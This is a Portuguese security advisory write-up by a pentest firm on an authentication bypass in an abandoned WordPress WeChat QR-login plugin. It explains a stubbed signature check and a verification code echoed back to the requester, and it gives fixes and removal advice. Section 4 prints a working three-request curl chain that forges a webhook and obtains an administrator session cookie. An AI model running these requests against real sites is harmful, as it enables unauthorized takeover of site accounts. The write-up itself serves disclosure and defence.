← Voltar para Insights Write-up · Account Takeover · CVSS 9.8 Crítico

QRcode Login for WeChat ≤ 1.3: administrador comprometido em 3 requests, zero autenticação

checkSignature() hardcoded como return true aceita qualquer webhook forjado. O código de verificação de 4 dígitos gerado pelo servidor é ecoado de volta ao atacante no mesmo XML de resposta. Resultado: sessão de administrador sem senha, em três requisições, sem nenhum log de autenticação suspeito — em um plugin que, por estar sem manutenção, jamais receberá correção.

Identificação

CVE-2026-13597 CVSS 9.8 · Crítico

Software: QRcode Login for WeChat (plugin WordPress) · slug qrcode-login-for-weixin

Versões afetadas: ≤ 1.3 (última versão disponível)

Classe: Authentication Bypass / Account Takeover (CWE-287, CWE-288, CWE-639) · OWASP A07:2021 — Identification and Authentication Failures

Vetor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Privilégio necessário: nenhum (não autenticado) · Crédito: Equipe TreeSec

Data descoberta: 27 de junho de 2026 · Submetido ao WPScan em 27/06/2026

Referências: WPScan

Status de correção: sem versão corrigida prevista — plugin abandonado. Remoção imediata é a única ação.

Aviso legal: toda a validação foi feita exclusivamente em laboratório próprio (WordPress + PHP 8.2 em Docker), de forma não destrutiva. Nenhum sistema de terceiros foi testado ou afetado. Dado o CVSS 9.8 e a ausência de patch, o PoC completo está sob divulgação coordenada. Os passos técnicos abaixo são suficientes para que administradores avaliem a exposição e tomem a ação correta: remover o plugin.

1. O que torna este achado diferente

A maioria dos achados de segurança em plugins WordPress envolve configurações mal feitas, validação ausente ou escopos excessivos. Este é diferente em três aspectos simultâneos:

  1. CVSS 9.8 — Crítico: não é inflacionado. O vetor é AV:N/AC:L/PR:N/UI:N: rede, sem complexidade de ataque, sem privilégio, sem interação do usuário. Comprometimento total de confidencialidade, integridade e disponibilidade. Qualquer sistema na internet com este plugin instalado e ativo está completamente exposto.
  2. Plugin abandonado desde 2019: não há desenvolvedor ativo, não há canal de divulgação responsável funcional, não há versão corrigida a caminho. A única mitigação real é remover o plugin.
  3. O mecanismo de segurança é um stub: checkSignature() — o método que deveria validar que o webhook veio realmente do servidor WeChat — tem return true hardcoded. Não é uma implementação incorreta. É uma implementação deliberadamente vazia que nunca foi preenchida.

Esse terceiro ponto é o mais revelador: o desenvolvedor sabia que precisava existir uma verificação, criou o método com o nome certo, e simplesmente retornou true. O esqueleto de segurança foi construído, mas nunca implementado. O plugin foi publicado e permanece disponível assim.

2. A superfície: webhook WeChat sem verificação

O plugin implementa login via QR code do WeChat: o usuário escaneia um QR no site, o servidor WeChat envia um webhook de confirmação, e o plugin loga o usuário. O fluxo legítimo depende de que apenas o servidor WeChat possa disparar esses webhooks — essa garantia é responsabilidade de checkSignature().

O endpoint do webhook é registrado via parse_request no WordPress. Qualquer requisição com o parâmetro ql=1 na URL é roteada para o handler do plugin:

// class-weixin.php — registro do webhook
add_action('parse_request', function($wp) {
    if (isset($_GET['ql']) && $_GET['ql'] == 1) {
        $weixin = new QR_Login();
        if ($weixin->checkSignature()) {   // ← sempre true
            $weixin->responseMsg();
        }
    }
});

O resultado: qualquer pessoa na internet pode simular um webhook do WeChat simplesmente fazendo um POST para https://VITIMA/?ql=1 com o body XML correto. O servidor não distingue o WeChat real de um atacante.

3. O hardcode que derruba tudo: checkSignature()

A verificação de assinatura de webhooks WeChat é bem documentada: o receptor deve calcular um SHA1 da concatenação ordenada do token configurado, do timestamp e do nonce, e comparar com a assinatura enviada na requisição. É um mecanismo padrão para provar que o webhook veio do servidor correto.

Esta é a implementação no plugin:

// class-weixin.php:65-72
public function checkSignature() {
    // deveria validar SHA1(token+timestamp+nonce) == signature
    return true; // ← hardcoded: qualquer webhook é aceito
}

Uma implementação correta seria:

// implementação correta
public function checkSignature() {
    $token     = get_option('ql_token');
    $timestamp = $_GET['timestamp'];
    $nonce     = $_GET['nonce'];
    $signature = $_GET['signature'];
    $arr = [$token, $timestamp, $nonce];
    sort($arr);
    return hash_equals(sha1(implode('', $arr)), $signature);
}

Com o stub em lugar da implementação real, o método aceita qualquer valor nos parâmetros timestamp, nonce e signature — incluindo literalmente 1. O servidor trata qualquer requisição POST como um evento legítimo do WeChat.

4. A cadeia: 3 requests, 0 autenticação

O ataque é executado em três requisições sequenciais, todas sem cookie de autenticação:

Req 1 — Obter nonce público da página de login

O plugin imprime um objeto JavaScript com um nonce WordPress na página de login (/wp-login.php), visível para qualquer visitante não autenticado:

# Raspar nonce uid=0 da página de login
curl -s 'https://VITIMA/wp-login.php' | grep -oE 'jsobj = \{"nonce":"[a-f0-9]+"'
# → jsobj = {"nonce":"1c00a899bf"

Este nonce é gerado para uid=0 (usuário anônimo) e será usado na requisição 3 para passar a verificação de check_ajax_referer.

Req 2 — Forjar webhook WeChat e receber o código

Com checkSignature() retornando true, o atacante forja um evento WeChat do tipo SCAN usando qualquer valor nos campos de autenticação do webhook. O campo FromUserName é o login do usuário WordPress alvo; o campo Ticket é um identificador arbitrário escolhido pelo atacante:

# Forjar webhook WeChat — simular scan do admin
curl -s 'https://VITIMA/?ql=1&timestamp=1&nonce=1&signature=1' \
  -H 'Content-Type: text/xml' \
  --data-binary '<xml>
    <FromUserName>admin</FromUserName>
    <Event>SCAN</Event>
    <EventKey>login</EventKey>
    <Ticket>ATTACK</Ticket>
  </xml>'
# Resposta XML do servidor:
# <xml>...<Content>验证码是:3439</Content></xml>
# O código gerado pelo servidor é devolvido ao atacante em texto claro.

O que acontece no servidor quando recebe esta requisição:

  1. parse_request roteia para o handler;
  2. checkSignature() retorna true — webhook aceito;
  3. random_int(1000, 9999) gera um código de 4 dígitos;
  4. set_transient('ATTACK', $code) e set_transient('code_'.$code, 'admin') armazenam a associação ticket ↔ código ↔ usuário;
  5. reply_code() ecoa o código no XML de resposta em texto claro.

O atacante recebe o código diretamente na resposta da própria requisição. O "segredo" nunca foi secreto.

Req 3 — Resgatar sessão de administrador

# Resgatar sessão com o código obtido na Req 2
curl -s -c cookies.txt 'https://VITIMA/wp-admin/admin-ajax.php' \
  --data-urlencode 'action=qrcode_login_action' \
  --data-urlencode 'security=1c00a899bf' \
  --data-urlencode 'ticket=ATTACK' \
  --data-urlencode 'vcode=3439'
# → {"success":true,"data":{"errmsg":"login success"}}

O handler wp_ajax_nopriv_qrcode_login_action executa a seguinte lógica:

  1. Valida o nonce (check_ajax_referer('jsnonce','security')) — passa, pois o nonce uid=0 obtido na Req 1 é válido para qualquer anônimo;
  2. Recupera get_transient('ATTACK') → código gerado;
  3. Recupera get_transient('code_3439')'admin';
  4. Compara $vcode == $code3439 == 3439 → verdadeiro;
  5. get_user_by('login', 'admin') → objeto do usuário administrador;
  6. wp_set_auth_cookie($user->ID, true) → cookie de sessão de administrador gravado.

O arquivo cookies.txt agora contém um wordpress_logged_in_* válido para o usuário admin. Acesso total ao painel WordPress sem senha.

Proteção esperadaStatusPor que falha
Verificação de assinatura do webhook WeChatStub — return trueQualquer requisição forjada é aceita como legítima
Segredo no código de verificaçãoEcoado na respostaO servidor devolve o código ao solicitante — que é o atacante
Nonce como barreira de autenticaçãoPúblico (uid=0)Nonce impresso em /wp-login.php para visitantes anônimos
Força bruta no código de 4 dígitosIrrelevanteBrute force sequer é necessário — o código é recebido na Req 2

5. Por que o código de 4 dígitos não é proteção

Alguém poderia argumentar: “mesmo que o webhook seja aceito, o código de 4 dígitos adiciona uma camada — só tem 10.000 combinações, mas exige tentativas.” Esse argumento falha por motivos distintos:

O código é entregue ao atacante. O erro central não é o espaço de busca de 10.000 combinações — é que o próprio servidor devolve o código certo na resposta da Req 2. Não há busca. O atacante informa um ticket arbitrário, o servidor gera um código e o ecoa de volta. É equivalente a um cofre que, quando você tenta abrir, exibe a combinação na porta.

Mesmo sem o echo, 10.000 tentativas seriam triviais. Um script simples percorreria 1000–9999 em segundos. Sem rate limiting, sem bloqueio por IP, sem expiração de transient em poucos segundos — o servidor aceita tentativas indefinidas até o transient expirar (padrão WordPress: sem expiração definida, sobrevive por dias).

O ticket é controlado pelo atacante. O transient é indexado pelo ticket que o atacante escolhe. Não há aleatoriedade nesse índice, não há associação com um estado de sessão legítimo. O atacante cria o ticket, o servidor associa o código a ele, o atacante usa o mesmo ticket para resgatar.

6. Impacto real e o que fazer agora

Não importa quantos sites ainda rodem o plugin: para cada um deles o risco é absoluto — qualquer pessoa na internet pode obter acesso de administrador em três requisições HTTP, sem credenciais, sem interação de nenhum usuário legítimo, e sem deixar entradas suspeitas nos logs de autenticação do WordPress.

O ataque é silencioso. As três requisições parecem legítimas nos logs do servidor:

Nenhum log de “falha de autenticação” é gerado — porque nenhuma autenticação falhou. O plugin simplesmente logou o usuário como de costume.

PoC completo sob embargo coordenado — CVSS 9.8

O script de automação que encadeia as três requisições, obtém o cookie de administrador e verifica o acesso ao painel está deliberadamente retido. Dado que o plugin está abandonado e não haverá versão corrigida, o embargo se estende enquanto houver instalações ativas identificadas.

Os passos técnicos neste artigo são suficientes para qualquer administrador avaliar se está exposto e tomar a ação necessária. Se você tem este plugin instalado, a ação é remover agora — não atualizar, remover.

Confirmado em laboratório (27/06/2026, PHP 8.2): cookie wordpress_logged_in_* obtido, /wp-admin/profile.php exibiu admin, /wp-admin/users.php retornou HTTP 200.

Correções que resolveriam o problema

Para fins de documentação técnica e para auxiliar quem quiser fazer um fork corrigido:

  1. Implementar checkSignature() real:
    public function checkSignature() {
        $token     = get_option('ql_token');
        $arr = [$token, $_GET['timestamp'], $_GET['nonce']];
        sort($arr);
        return hash_equals(sha1(implode('', $arr)), $_GET['signature']);
    }
  2. Nunca ecoar o código na resposta: o código de verificação deve ser enviado ao usuário por um canal separado (no caso, via mensagem WeChat), nunca devolvido ao solicitante do webhook.
  3. Rate limiting e expiração: o transient do código deve expirar em 30–60 segundos, com no máximo 5 tentativas por IP.

Ação recomendada para qualquer site com este plugin: desative e remova imediatamente via Painel → Plugins → Plugin inativo → Excluir. Verifique nos logs de acesso se há requisições POST para /?ql=1 recentes — se houver, audite os usuários administradores do site.

7. Disclosure e timeline


Este achado ilustra um risco real e subestimado no ecossistema WordPress: plugins abandonados que permaneceram funcionais por anos, sem manutenção, com vulnerabilidades críticas que nunca receberão correção. Um inventário de plugins — incluindo os inativos e desatualizados — é parte essencial de qualquer avaliação de segurança. A TreeSec mapeia exatamente isso nos nossos pentests.

Você sabe quais plugins abandonados estão no seu WordPress?

Nossos pentests Web & API auditam autenticação, webhooks, handlers AJAX e plugins desatualizados — os vetores que scanners automáticos ignoram por completo.